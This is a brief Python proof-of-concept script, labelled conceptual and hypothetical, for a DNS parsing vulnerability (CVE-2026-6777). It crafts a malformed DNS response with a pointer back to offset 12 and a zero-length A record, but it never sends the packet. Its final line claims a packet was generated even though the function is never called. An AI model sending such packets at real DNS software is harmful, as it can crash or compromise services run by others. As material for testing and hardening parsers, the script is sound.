The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-6777
# This script demonstrates a crafted DNS response that may trigger the vulnerability.
# Note: Actual exploitation requires specific payload details based on the bug.
import socket
import struct
def create_malformed_dns_response():
# DNS Header: ID=0x1337, Flags=Response, Opcode=0, AA=0, TC=0, RD=0, RA=1, Z=0, RCODE=0
# Query Count=0, Answer Count=1, Authority Count=0, Additional Count=0
header = struct.pack("!HHHHHH", 0x1337, 0x8180, 0, 1, 0, 0)
# Question section is empty (0 count)
# Answer section: Malformed pointer or length to trigger the parsing issue
# This is a hypothetical representation
answer_name = b"\xc0\x0c" # Pointer to offset 12 (start of name)
answer_type = struct.pack("!H", 1) # Type A
answer_class = struct.pack("!H", 1) # Class IN
answer_ttl = struct.pack("!I", 3600)
answer_len = struct.pack("!H", 0) # Zero length data might cause issues in some parsers
answer_data = b""
packet = header + answer_name + answer_type + answer_class + answer_ttl + answer_len + answer_data
return packet
print("[*] Generated malformed DNS packet for testing purposes.")